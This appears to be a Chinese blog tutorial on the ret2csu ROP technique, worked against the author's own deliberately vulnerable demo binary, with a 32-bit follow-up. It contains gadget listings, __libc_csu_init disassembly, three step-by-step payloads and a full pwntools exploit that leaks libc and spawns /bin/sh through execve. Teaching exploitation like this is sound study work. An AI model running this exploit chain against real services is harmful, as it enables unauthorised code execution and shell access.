bpcat

  博客园  :: 首页  :: 新随笔  :: 联系 :: 订阅 订阅  :: 管理

就进阶一下中级ROP,嗯嗯

demo源码

也没有太难,也没有过多的利用其他的东西

//gcc -z lazy -fno-stack-protector -no-pie -o csu csu.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void init(){
	setvbuf(stdout, 0LL, 2, 0LL);
	setvbuf(stdin, 0LL, 2, 0LL);
	setvbuf(stderr, 0LL, 2, 0LL);
}

void vul(){
	char buf[128];
	read(0, buf, 512);
}

int main(int argc, char** argv){
	init();
	write(1, "Hello, World\n", 13);
	vul();
}

编译之后查看保护

image

利用原理

但是查看源码就知道题目中的gadget少的可怜,更不可能会有满足像write这样需要控制三个参数才可以执行的gadget。

➜  Desktop ROPgadget --binary csu
Gadgets information
============================================================
0x00000000004010bd : add ah, dh ; nop ; endbr64 ; ret
0x00000000004010eb : add bh, bh ; loopne 0x401155 ; nop ; ret
0x00000000004012bc : add byte ptr [rax], al ; add byte ptr [rax], al ; endbr64 ; ret
0x000000000040123e : add byte ptr [rax], al ; add byte ptr [rax], al ; leave ; ret
0x000000000040123f : add byte ptr [rax], al ; add cl, cl ; ret
0x0000000000401036 : add byte ptr [rax], al ; add dl, dh ; jmp 0x401020
0x000000000040115a : add byte ptr [rax], al ; add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x00000000004012be : add byte ptr [rax], al ; endbr64 ; ret
0x00000000004010bc : add byte ptr [rax], al ; hlt ; nop ; endbr64 ; ret
0x0000000000401240 : add byte ptr [rax], al ; leave ; ret
0x000000000040100d : add byte ptr [rax], al ; test rax, rax ; je 0x401016 ; call rax
0x000000000040115b : add byte ptr [rcx], al ; pop rbp ; ret
0x0000000000401241 : add cl, cl ; ret
0x00000000004010ea : add dil, dil ; loopne 0x401155 ; nop ; ret
0x0000000000401038 : add dl, dh ; jmp 0x401020
0x000000000040115c : add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x0000000000401157 : add eax, 0x2f0b ; add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x0000000000401017 : add esp, 8 ; ret
0x0000000000401016 : add rsp, 8 ; ret
0x00000000004011d7 : call qword ptr [rax + 0xff3c35d]
0x00000000004011fc : call qword ptr [rax + 0xff3c3c9]
0x000000000040103e : call qword ptr [rax - 0x5e1f00d]
0x0000000000401014 : call rax
0x0000000000401173 : cli ; jmp 0x401100
0x00000000004010c3 : cli ; ret
0x00000000004012cb : cli ; sub rsp, 8 ; add rsp, 8 ; ret
0x0000000000401170 : endbr64 ; jmp 0x401100
0x00000000004010c0 : endbr64 ; ret
0x000000000040129c : fisttp word ptr [rax - 0x7d] ; ret
0x00000000004010be : hlt ; nop ; endbr64 ; ret
0x0000000000401012 : je 0x401016 ; call rax
0x00000000004010e5 : je 0x4010f0 ; mov edi, 0x404040 ; jmp rax
0x0000000000401127 : je 0x401130 ; mov edi, 0x404040 ; jmp rax
0x000000000040103a : jmp 0x401020
0x0000000000401174 : jmp 0x401100
0x000000000040100b : jmp 0x4840103f
0x00000000004010ec : jmp rax
0x00000000004011fe : leave ; ret
0x00000000004010ed : loopne 0x401155 ; nop ; ret
0x0000000000401156 : mov byte ptr [rip + 0x2f0b], 1 ; pop rbp ; ret
0x000000000040123d : mov eax, 0 ; leave ; ret
0x00000000004010e7 : mov edi, 0x404040 ; jmp rax
0x00000000004010bf : nop ; endbr64 ; ret
0x00000000004011fd : nop ; leave ; ret
0x00000000004011d8 : nop ; pop rbp ; ret
0x00000000004010ef : nop ; ret
0x000000000040116c : nop dword ptr [rax] ; endbr64 ; jmp 0x401100
0x00000000004010e6 : or dword ptr [rdi + 0x404040], edi ; jmp rax
0x0000000000401158 : or ebp, dword ptr [rdi] ; add byte ptr [rax], al ; add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x00000000004012ac : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004012ae : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004012b0 : pop r14 ; pop r15 ; ret
0x00000000004012b2 : pop r15 ; ret
0x00000000004012ab : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004012af : pop rbp ; pop r14 ; pop r15 ; ret
0x000000000040115d : pop rbp ; ret
0x00000000004012b3 : pop rdi ; ret
0x00000000004012b1 : pop rsi ; pop r15 ; ret
0x00000000004012ad : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040101a : ret
0x0000000000401011 : sal byte ptr [rdx + rax - 1], 0xd0 ; add rsp, 8 ; ret
0x000000000040105b : sar edi, 0xff ; call qword ptr [rax - 0x5e1f00d]
0x00000000004012cd : sub esp, 8 ; add rsp, 8 ; ret
0x00000000004012cc : sub rsp, 8 ; add rsp, 8 ; ret
0x0000000000401010 : test eax, eax ; je 0x401016 ; call rax
0x00000000004010e3 : test eax, eax ; je 0x4010f0 ; mov edi, 0x404040 ; jmp rax
0x0000000000401125 : test eax, eax ; je 0x401130 ; mov edi, 0x404040 ; jmp rax
0x000000000040100f : test rax, rax ; je 0x401016 ; call rax

Unique gadgets found: 68

显然找不到可以控制rdx的gadget,

但是需要找到某些函数去控制rdx才能利用write函数去泄露libc,然后才能进行接下来的操作

解决这种问题的方法就叫做ret2csu,主要用到的是__libc_csu_init函数。

__libc_csu_init函数的作用是对将要链接进elf的libc进行初始化。

其函数的汇编代码如下:

.text:0000000000401250 __libc_csu_init proc near               ; DATA XREF: _start+1A↑o
.text:0000000000401250 ; __unwind {
.text:0000000000401250                 endbr64
.text:0000000000401254                 push    r15
.text:0000000000401256                 lea     r15, __frame_dummy_init_array_entry
.text:000000000040125D                 push    r14
.text:000000000040125F                 mov     r14, rdx
.text:0000000000401262                 push    r13
.text:0000000000401264                 mov     r13, rsi
.text:0000000000401267                 push    r12
.text:0000000000401269                 mov     r12d, edi
.text:000000000040126C                 push    rbp
.text:000000000040126D                 lea     rbp, __do_global_dtors_aux_fini_array_entry
.text:0000000000401274                 push    rbx
.text:0000000000401275                 sub     rbp, r15
.text:0000000000401278                 sub     rsp, 8
.text:000000000040127C                 call    _init_proc
.text:0000000000401281                 sar     rbp, 3
.text:0000000000401285                 jz      short loc_4012A6
.text:0000000000401287                 xor     ebx, ebx
.text:0000000000401289                 nop     dword ptr [rax+00000000h]
.text:0000000000401290
.text:0000000000401290 loc_401290:                             ; CODE XREF: __libc_csu_init+54↓j
.text:0000000000401290                 mov     rdx, r14
.text:0000000000401293                 mov     rsi, r13
.text:0000000000401296                 mov     edi, r12d
.text:0000000000401299                 call    ds:(__frame_dummy_init_array_entry - 403E10h)[r15+rbx*8]
.text:000000000040129D                 add     rbx, 1
.text:00000000004012A1                 cmp     rbp, rbx
.text:00000000004012A4                 jnz     short loc_401290
.text:00000000004012A6
.text:00000000004012A6 loc_4012A6:                             ; CODE XREF: __libc_csu_init+35↑j
.text:00000000004012A6                 add     rsp, 8
.text:00000000004012AA                 pop     rbx
.text:00000000004012AB                 pop     rbp
.text:00000000004012AC                 pop     r12
.text:00000000004012AE                 pop     r13
.text:00000000004012B0                 pop     r14
.text:00000000004012B2                 pop     r15
.text:00000000004012B4                 retn

csu这种利用方式分为两部分第一部分就是从地址0x04012AA到最后,pop了rbx,rbp,r12,r13,r14,r15六个寄存器。第二部分是从0x0401290到0x04012A4,在这里会发现这些gadget通过r14寄存器控制了rdx,通过r13控制了rsi,通过r12控制了edi。

再往下走回看到一个cmp,比较rbp和rbx是否相等,如果相等不会跳转下一个循环,不相等责向下执行。

这样的话我们就可以利用这个gadget去控制参数寄存器,然后去劫持程序执行流leak libc至提权。

demo

测试之前还是要提一句需要注意的点

add     rbx, 1
cmp     rbp, rbx

这里在控制rbp和rbx的之后需要满足rbp = rbx + 1

开始测试

第一个payload,控制r12、13、14

pl = b'a'*0x88+p64(0x004012AA) + p64(0) + p64(1) + p64(1) + p64(elf.got["write"]) + p64(0x10) + p64(0)

执行gadget1

image

此时满足rbp = rbx + 1

image

执行过后,各个参数也都可以进入相应的寄存器中

注意观察寄存器执行之前和之后的变化

执行前:

image

执行后:

image

各个参数都布置好了到了call这个置零,发现是call是调用r15+rbx*18地址中的函数

根据上面的置零可以知道,r15、rbx都是可控的,那么这样的话可以利用这连个寄存器进行任意函数执行

只需要将rbx的值设置为零(因为乘以8所以不好计算,控制r15相对直观),将r15设置成想要执行的函数这里想要执行write那就将write的got地址存入该寄存器。

注意这里的调用不是直接调用该地址,是调用该地址内存的函数。

这样的话就可以写出完整的第一个payload

pl = b'a'*0x88+p64(0x004012AA) + p64(0) + p64(1) + p64(1) + p64(elf.got["write"]) + p64(0x8) + p64(0x404018) + p64(0x0401290) + p64(1)*7 + p64(0x00401200)

看到此payload中存在p64(1)*7的样子,这个的作用就是用来平衡栈,因为在执行完call之后程序就会一直向下执行到一串pop,这样的话就会使栈内的原始数据丢失。

image

这就是csu调用函数的方法,但是在调用system提权的时候,在程序地址内找不到存贮此函数地址的地方,这就需要leak libc地址之后将system函数写入程序基址之内然后再进行调用。

那么第二次的csu调用就是用来将system函数地址、binsh字符串写入程序之内,一般写入的话都是选在bss段。

与上同理构造payload2:

pl = b'a'*0x88+p64(0x004012AA)  + p64(0) + p64(1) + p64(0) + p64(0x404140) + p64(0x20) + p64(0x404020) + p64(0x0401290) + p64(1)*7 + p64(0x00401200)

调用read函数写入system函数和binsh

p.send(p64(libcbase + libc.sym['execve'])+b'/bin/sh\x00')

此时函数与字符串的地址分别为0x404140和0x404148

根据此构造出提权payload3:

pl = b'a'*0x88+p64(0x004012AA)  + p64(0) + p64(1) + p64(0x404148) + p64(0) + p64(0) + p64(0x404140) + p64(0x0401290)

提权

image

exp:

def pwn():
	pl = b'a'*0x88+p64(0x004012AA) + p64(0) + p64(1) + p64(1) + p64(elf.got["write"]) + p64(0x8) + p64(0x404018) + p64(0x0401290) + p64(1)*7 + p64(0x00401200)
	p.sendlineafter('Hello, World\n',pl)
	write_addr = uu64(r(6))
	libcbase = write_addr - 0x10e060
	leak('libcbase',libcbase)
	pl = b'a'*0x88+p64(0x004012AA)  + p64(0) + p64(1) + p64(0) + p64(0x404140) + p64(0x20) + p64(0x404020) + p64(0x0401290) + p64(1)*7 + p64(0x00401200)
	p.sendline(pl)
	p.send(p64(libcbase + libc.sym['execve'])+b'/bin/sh\x00')
	pl = b'a'*0x88+p64(0x004012AA)  + p64(0) + p64(1) + p64(0x404148) + p64(0) + p64(0) + p64(0x404140) + p64(0x0401290)
	p.sendlineafter('Hello, World\n',pl)
	itr()

拓展思考:

上述的利用情况是在理想状态下的利用,如果对payload的长度进行了限制那么像这个样长的payload已经无法满足csu的利用。

等等,我好像忘记了还有32位的情况,吓得我赶快编译了一个32位的demo

//gcc -z lazy -fno-stack-protector -no-pie -m32 -o csu32 csu.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void init(){
	setvbuf(stdout, 0LL, 2, 0LL);
	setvbuf(stdin, 0LL, 2, 0LL);
	setvbuf(stderr, 0LL, 2, 0LL);
}

void vul(){
	char buf[128];
	read(0, buf, 512);
}

int main(int argc, char** argv){
	init();
	write(1, "Hello, World\n", 13);
	vul();
}

看到csu_init

image

分析32位里面的call,发现前两个参数是从栈中传出,第三个参数是通过edi寄存器传输

通过ROPgadget分析,发现也存在这个控制edi的gadget

image

(别问为啥跟上面的终端不一样了,问就是搭建交叉环境的时候环境整坏了

感觉如果不用pop是不方便的还是需要调用下面的一串pop来调用寄存器,问题就在于我们能不能控制到栈内传参的两个位置。动调去看一下。

image

看到这两个参数的位置,这两个参数是控制不了的所以说ret2csu在32位下是行不通的。

image

posted on 2022-11-10 20:31  大能猫_多能  阅读(125)  评论(0编辑  收藏  举报